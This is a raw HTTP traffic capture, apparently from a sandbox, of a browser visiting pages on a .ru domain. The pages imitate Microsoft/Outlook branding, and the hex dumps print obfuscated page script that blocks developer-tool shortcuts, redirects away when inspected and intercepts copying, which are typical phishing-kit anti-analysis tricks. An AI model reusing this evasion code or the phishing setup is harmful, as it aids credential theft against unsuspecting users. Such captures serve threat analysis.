2025-03-20 07:57:03 UTC	1326	OUT	GET /favicon.ico HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://8rgz.mdrvgqsm.ru/1djFOQV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlowZXZEZjlYV21pNXlDTXlsT3RkTFE9PSIsInZhbHVlIjoiOGVpWGpOMTJCcGdtekhnVTFFckEyLzVUM0VRSkhlcytYNTI5aDVNNDk4cUh5REw4eDRYajF5RTgvakUxbyt3TjJUT0dIMncxRXcwMm5vdllGWUoxaFUrQUNNZ1VSVFBNUXFwZmJpazRSZDNDUzJPanBTekV5VlFSbEJUSVhocGgiLCJtYWMiOiI0YzUyZWE0ZGQ5NzgwNGQwODQyOWVlMmI5YjgyZTMyNjE3NTkzOTc1NjRiZGVhZTUwMWY3ZDE5MmM3YTFjMzkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh0YWR0bHExeXErSm4zaENLTXpKcXc9PSIsInZhbHVlIjoiYnorZEplejVQdGJJVCtEUEtrOEZuR0wwUlBESFN1L212bkxXd1RqOEg1aFROVWN4RCtmSGdrV2kxcHFHM2N0RDBmYW4wN1BJcmdWVnRpZGdZL2pyVnNEbnlTc2Z0WFRnTXd2WDJiREFUUWo3MUExMkFFQXkySHFOeEl5amQyd00iLCJtYWMiOiI3NWRmMTYwMjA4Mzg0ZjlkMzExZTg1NGE2YzdlMDBiMTIwYTQzZTU2NTVjNWE5NDBlNWU4Y2M4ZGIzMjdlZTZjIiwidGFnIjoiIn0%3D
2025-03-20 07:57:04 UTC	1064	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 07:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w0fkq7SWG7Wk%2F48A8WHzjqWOhlfDZE%2Fdh2O%2B%2FBbAoXsJKiZ4AkWj125%2B0Tae6wbwJfIMDNeDF6kpy2t0Uus9EoI8rShWI%2BetUtv5R8uX21M%2Bvmmt57A8%2BnuhqTU3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=9920&min_rtt=9675&rtt_var=3803&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2230&delivery_rate=294366&cwnd=251&unsent_bytes=0&cid=ec20a677677e9fd6&ts=413&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 9233a814595a9e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99150&min_rtt=97171&rtt_var=22580&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1898&delivery_rate=38433&cwnd=219&unsent_bytes=0&cid=5678a16949c490ec&ts=801&x=0"
2025-03-20 07:57:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:04 UTC	533	OUT	OPTIONS /report/v4?s=E%2B9u8CO2pzROYQZSdvlnIJwRvjU59jGQW3NnAPHYhkB1IYsmtVuvCXTXFMuzyLFbZmYvsZi0r9VLPxkPTT8wRuVu%2BKuSO2zmuf9WsU%2F6S3LKShW4MckN2CJYxkFh HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://8rgz.mdrvgqsm.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:04 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 20 Mar 2025 07:57:03 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:04 UTC	508	OUT	POST /report/v4?s=E%2B9u8CO2pzROYQZSdvlnIJwRvjU59jGQW3NnAPHYhkB1IYsmtVuvCXTXFMuzyLFbZmYvsZi0r9VLPxkPTT8wRuVu%2BKuSO2zmuf9WsU%2F6S3LKShW4MckN2CJYxkFh HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 409 Content-Type: application/reports+json Origin: https://8rgz.mdrvgqsm.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:04 UTC	409	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 37 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 36 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 38 72 67 7a 2e 6d 64 72 76 67 71 73 6d 2e 72 75 2f Data Ascii: [{"age":0,"body":{"elapsed_time":1270,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.16.1","status_code":404,"type":"http.error"},"type":"network-error","url":"https://8rgz.mdrvgqsm.ru/
2025-03-20 07:57:04 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 20 Mar 2025 07:57:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:04 UTC	1152	OUT	GET /lmHT5z2W4YMAOP4I9no6XMAOCRLoylOBPtFPoLHZEBlxY3Sjy HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNpbzhCcUZWVlRyRFc2dWVUTHB6MFE9PSIsInZhbHVlIjoidGFLTkl4clJqM1F1eVorSVBWZ3lOZWdBYWVrVkRjTnpKOExnYmtmNWM2SGRhR1NuVzFBcGdYV0ZSckMwY2NxbkRTaUZXMDlFNk12bWxiWm1DQVlRTXEvMC9NSkJkUUs4VWFCaitPUloyVVY0aklsZlB1ZnhrVTZUcjVVUWc0bjgiLCJtYWMiOiIyNmNlZDVlNDEyNTI0MjBhOWFmZjE4M2NjNzE5NzY0ODA3YWVkODhhYmQwYTdjMzJjYzU1MTQwN2U1ZjlmNWE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNSYWpDSDNJQ3NpcTViaU5kOTJWNGc9PSIsInZhbHVlIjoibzlsb0k5T2Iwb3phZCtnOGFRYUQrbVY0THA4UEJBSEFyOFFuWXBQVVJadjhKY2FXWGZMZ0Y0eXEzb1A0ZXh3SnVtSUd6YUQvYWlZZHoyNGdhSTAydlYvY09OYi9xZTlodGxuY0Q2S1JUMkFkYjJ6UzRxaWd1Mk5BUnpmdWFiVzMiLCJtYWMiOiIxZGEzYzQyOWI1YjhlMzVkMmQ0YWEzNTc3YzdmZWU2YTVjNGU3YmI1Y2RlZDc3MmJjMWI3ZjMxNDYxODUxOWM5IiwidGFnIjoiIn0%3D
2025-03-20 07:57:05 UTC	1028	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 07:57:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8BMJX1qUMFCRfPeJXd52xOnIkT%2BKHR7kFhnf3JSahIPIkqKdYiZnea5pClDOveZAf%2BJgtky9QBlYoLinP1ZJn29wAtmcr93PyAlPl6Llywpz4eipi%2Fz%2BDRhMbWHa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10185&min_rtt=10074&rtt_var=3857&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2056&delivery_rate=282707&cwnd=251&unsent_bytes=0&cid=9f3eb72e047c912b&ts=231&x=0" Server: cloudflare CF-RAY: 9233a819d859e56c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97395&min_rtt=96508&rtt_var=21157&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1724&delivery_rate=38607&cwnd=225&unsent_bytes=0&cid=8a72cee5f95ca223&ts=641&x=0"
2025-03-20 07:57:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:04 UTC	1498	OUT	GET /ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://8rgz.mdrvgqsm.ru/1djFOQV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNpbzhCcUZWVlRyRFc2dWVUTHB6MFE9PSIsInZhbHVlIjoidGFLTkl4clJqM1F1eVorSVBWZ3lOZWdBYWVrVkRjTnpKOExnYmtmNWM2SGRhR1NuVzFBcGdYV0ZSckMwY2NxbkRTaUZXMDlFNk12bWxiWm1DQVlRTXEvMC9NSkJkUUs4VWFCaitPUloyVVY0aklsZlB1ZnhrVTZUcjVVUWc0bjgiLCJtYWMiOiIyNmNlZDVlNDEyNTI0MjBhOWFmZjE4M2NjNzE5NzY0ODA3YWVkODhhYmQwYTdjMzJjYzU1MTQwN2U1ZjlmNWE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNSYWpDSDNJQ3NpcTViaU5kOTJWNGc9PSIsInZhbHVlIjoibzlsb0k5T2Iwb3phZCtnOGFRYUQrbVY0THA4UEJBSEFyOFFuWXBQVVJadjhKY2FXWGZMZ0Y0eXEzb1A0ZXh3SnVtSUd6YUQvYWlZZHoyNGdhSTAydlYvY09OYi9xZTlodGxuY0Q2S1JUMkFkYjJ6UzRxaWd1Mk5BUnpmdWFiVzMiLCJtYWMiOiIxZGEzYzQyOWI1YjhlMzVkMmQ0YWEzNTc3YzdmZWU2YTVjNGU3YmI1Y2RlZDc3MmJjMWI3ZjMxNDYxODUxOWM5IiwidGFnIjoiIn0%3D
2025-03-20 07:57:05 UTC	1206	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HWaWnE6ymPfDAGWmihJzazT5xK4bjKITFWU5%2BhG3Gq9oHpLwDya2NjJ384dQz%2F56FmGoniQ%2FavhG33KBwSADzNyd4moSjCTPrVnEtooNxkR4eZehkP8vdNPgRvqH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10669&min_rtt=10555&rtt_var=4040&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2403&delivery_rate=269824&cwnd=251&unsent_bytes=0&cid=10d7767c392ee21d&ts=297&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 09:57:05 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 07:57:05 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 42 42 56 7a 42 45 64 33 46 78 4f 45 68 36 59 33 70 46 63 53 39 48 53 48 68 79 52 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 55 35 32 62 54 4e 77 62 32 6f 31 61 57 39 74 56 6c 68 34 56 56 49 35 5a 31 4e 74 64 58 5a 42 55 32 70 35 65 45 49 77 65 54 6c 57 51 57 55 77 54 32 5a 56 59 32 5a 51 4f 46 4a 52 62 32 4a 43 65 44 59 31 55 7a 5a 43 61 6e 6b 7a 64 48 67 72 64 58 46 50 62 56 59 72 57 6b 56 50 55 6c 52 71 52 47 35 52 55 6b 68 31 55 57 55 32 5a 46 4e 6e 51 56 6c 72 54 6d 6f 34 52 45 74 57 61 47 4e 4b 55 54 56 53 61 30 35 5a 52 55 46 58 54 44 55 31 56 79 38 34 56 55 38 76 54 32 78 6c 65 6d 78 59 4e 31 6c 34 63 33 70 53 56 7a 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzg
2025-03-20 07:57:05 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: 148<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 35 65 38 61 0d 0a 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 2d 2d 73 3a 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 57 3a 20 31 33 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 48 3a 20 37 31 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 57 3a 20 31 31 38 70 78 3b 0d 0a 20 20 20 20 2d 2d 73 71 57 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 0d 0a 20 20 20 20 2d 2d 73 71 48 3a 20 33 37 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 48 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 73 71 Data Ascii: 5e8ackground-color: #fff; height: 100%; overflow: hidden;}:root { --s: 180px; --envW: 130px; --envH: 71px; --calW: 118px; --sqW: calc(var(--calW) / 3); --sqH: 37px; --calHH: 20px; --calH: calc(var(--sq
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 0d 0a 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 7d 0d 0a 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 29 Data Ascii: {width:287px;background:#1490df;transform:translate(-120px,63px) rotate(-28deg);}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px;}#cal,#cal>.r,#cal>.t{width:var(--calW);}#cal{flex-direction:row;flex-wrap:wrap;height:var(--calH)
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 6e 64 3a 23 31 32 33 62 36 64 3b 7d 0d 0a 23 4d 53 4c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 3b 0d 0a 7d 0d 0a 2f 2a 21 20 43 53 53 20 55 73 65 64 20 6b 65 79 66 72 61 6d 65 73 20 2a 2f 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 32 2e 35 25 2c 33 32 2e 35 25 2c 35 30 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 7d 32 32 2e 35 25 2c 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 6f Data Ascii: nd:#123b6d;}#MSLogo { position: fixed; bottom: 36px; left: calc(50vw - 45px);}/! CSS Used keyframes /@keyframes bounce{0%,100%,12.5%,32.5%,50%,76.1%{transform:translateY(0);}22.5%,86%{transform:translateY(7px);}}@keyframes shado
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 66 79 52 43 4e 79 72 54 46 5a 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6b 65 79 43 6f 64 65 3a 20 31 32 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 Data Ascii: ) { const fyRCNyrTFZ = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: true
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 77 75 53 6f 4a 44 20 26 26 20 21 6a 74 6c 49 4e 47 68 76 6a 69 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 61 6f 7a 6b 45 72 5a 56 44 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 74 6c 49 4e 47 68 76 6a 69 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 61 72 67 65 74 2e 63 6f 6d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 2c 20 31 30 30 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 6f 63 75 Data Ascii: wuSoJD && !jtlINGhvji) { jaozkErZVD = true; jtlINGhvji = true; window.location.replace('https://www.target.com'); } }, 100);})(); document.addEventListener('copy', function(event) { if (docu
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 6c 6f 73 65 64 46 6c 61 70 22 3e 3c 64 69 76 20 69 64 3d 22 66 6d 61 73 6b 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 61 70 54 72 69 61 6e 67 6c 65 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d Data Ascii: </div></div><div id="closedFlap"><div id="fmask"><div class="flapTriangle"></div></div></div></div></div></div><svg id="MSLogo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="22" width="99"><g fill="none" fill-
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 56 38 2e 30 31 31 6c 2d 2e 30 32 39 2d 2e 30 31 37 63 2d 2e 32 34 31 2d 2e 31 33 35 2d 2e 35 37 31 2d 2e 32 34 36 2d 2e 39 38 2d 2e 33 33 31 4d 35 39 2e 34 35 32 20 37 2e 35 39 37 61 32 2e 31 37 20 32 2e 31 37 20 30 20 30 30 2d 31 2e 34 31 35 2e 35 30 37 63 2d 2e 33 35 38 2e 32 39 36 2d 2e 36 31 36 2e 37 2d 2e 38 31 34 20 31 2e 32 30 37 48 35 37 2e 32 56 37 2e 37 35 33 68 2d 32 2e 31 31 36 76 38 2e 39 39 39 48 35 37 2e 32 76 2d 34 2e 36 30 33 63 30 2d 2e 37 38 34 2e 31 37 38 2d 31 2e 34 32 36 2e 35 32 38 2d 31 2e 39 31 32 2e 33 34 36 2d 2e 34 38 2e 38 30 36 2d 2e 37 32 33 20 31 2e 33 36 39 2d 2e 37 32 33 2e 31 39 20 30 20 2e 34 30 34 2e 30 33 31 2e 36 33 36 2e 30 39 33 2e 32 33 2e 30 36 33 2e 33 39 36 2e 31 32 39 2e 34 39 33 2e 32 6c 2e 30 39 2e 30 36 34 Data Ascii: V8.011l-.029-.017c-.241-.135-.571-.246-.98-.331M59.452 7.597a2.17 2.17 0 00-1.415.507c-.358.296-.616.7-.814 1.207H57.2V7.753h-2.116v8.999H57.2v-4.603c0-.784.178-1.426.528-1.912.346-.48.806-.723 1.369-.723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.064
2025-03-20 07:57:05 UTC	1369	IN	Data Raw: 33 37 2e 33 35 2e 34 34 39 2e 30 39 34 2e 38 35 39 2e 31 34 31 20 31 2e 32 31 33 2e 31 34 31 20 31 2e 30 39 36 20 30 20 31 2e 39 37 37 2d 2e 32 36 20 32 2e 36 32 2d 2e 37 37 31 2e 36 34 38 2d 2e 35 31 35 2e 39 37 36 2d 31 2e 32 30 34 2e 39 37 36 2d 32 2e 30 34 35 20 30 2d 2e 36 30 37 2d 2e 31 37 36 2d 31 2e 31 32 37 2d 2e 35 32 35 2d 31 2e 35 34 36 2d 2e 33 34 35 2d 2e 34 31 36 2d 2e 39 34 36 2d 2e 37 39 39 2d 31 2e 37 38 34 2d 31 2e 31 33 36 4d 38 34 2e 30 36 33 20 31 34 2e 34 36 35 63 2d 2e 33 39 38 2e 34 39 39 2d 2e 39 39 37 2e 37 35 31 2d 31 2e 37 38 2e 37 35 31 2d 2e 37 37 37 20 30 2d 31 2e 33 39 2d 2e 32 35 36 2d 31 2e 38 32 32 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 2d 2e 39 Data Ascii: 37.35.449.094.859.141 1.213.141 1.096 0 